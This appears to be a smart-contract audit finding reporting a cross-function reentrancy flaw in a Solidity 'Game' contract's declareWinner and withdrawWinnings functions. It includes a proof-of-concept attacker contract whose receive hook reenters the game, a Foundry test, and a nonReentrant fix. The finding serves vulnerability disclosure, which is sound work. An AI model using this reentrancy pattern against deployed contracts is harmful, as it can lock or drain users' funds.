Description: function declareWinner is not protected by nonReentrant.
If declareWinner is invoked in withdrawWinnings and the winner is the caller,
the caller’s winnings are set to zero before they can withdraw,
resulting in some funds becoming permanently locked in the contract.
function withdrawWinnings() external nonReentrant {
...
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Game: Failed to withdraw winnings.");
@> pendingWinnings[msg.sender] = 0;
...
}
Impact: It can lead to a loss of funds for the winner, as they will not be able to withdraw their winnings after the declareWinner function is called.
Proof of Concept:
prequisites: need to fix logic in claimThrone function first, otherwise the test will fail.
add the following
pragma solidity ^0.8.10;
import {Game} from "../../src/Game.sol";
contract GameAttacker {
Game public game;
uint256 public counter;
constructor(address _game) {
game = Game(payable(_game));
}
receive() external payable {
if(counter > 0){
counter--;
if(game.gameEnded() == false &&
game.currentKing() != address(0) &&
game.lastClaimTime() + game.gracePeriod() < block.timestamp) {
game.declareWinner();
}
}
}
function attack() external {
counter = 1;
game.withdrawWinnings();
}
function withdrawWinnings() external {
game.withdrawWinnings();
}
function claimThrone() external payable {
game.claimThrone{value: msg.value}();
}
}
The add following test and run it
function testReentrancyAttack() public {
GameAttacker attacker = new GameAttacker(address(game));
assertEq(game.pendingWinnings(address(attacker)), 0);
attacker.claimThrone{value: game.claimFee()}();
uint256 gracePeriod = game.gracePeriod();
vm.warp(block.timestamp + gracePeriod + 1);
game.declareWinner();
assertGt(game.pendingWinnings(address(attacker)), 0);
vm.prank(deployer);
game.resetGame();
attacker.claimThrone{value: game.claimFee()}();
gracePeriod = game.gracePeriod();
vm.warp(block.timestamp + gracePeriod + 1);
assertGt(game.pendingWinnings(address(attacker)), 0);
assertEq(game.pot() + game.pendingWinnings(address(attacker)) + game.platformFeesBalance(), address(game).balance);
attacker.attack();
assertLt(game.pot() + game.pendingWinnings(address(attacker)) + game.platformFeesBalance(), address(game).balance);
}
Recommended Mitigation:
add nonReentrant modifier to declareWinner function to prevent reentrancy attacks.
function declareWinner() external nonReentrant {
...
}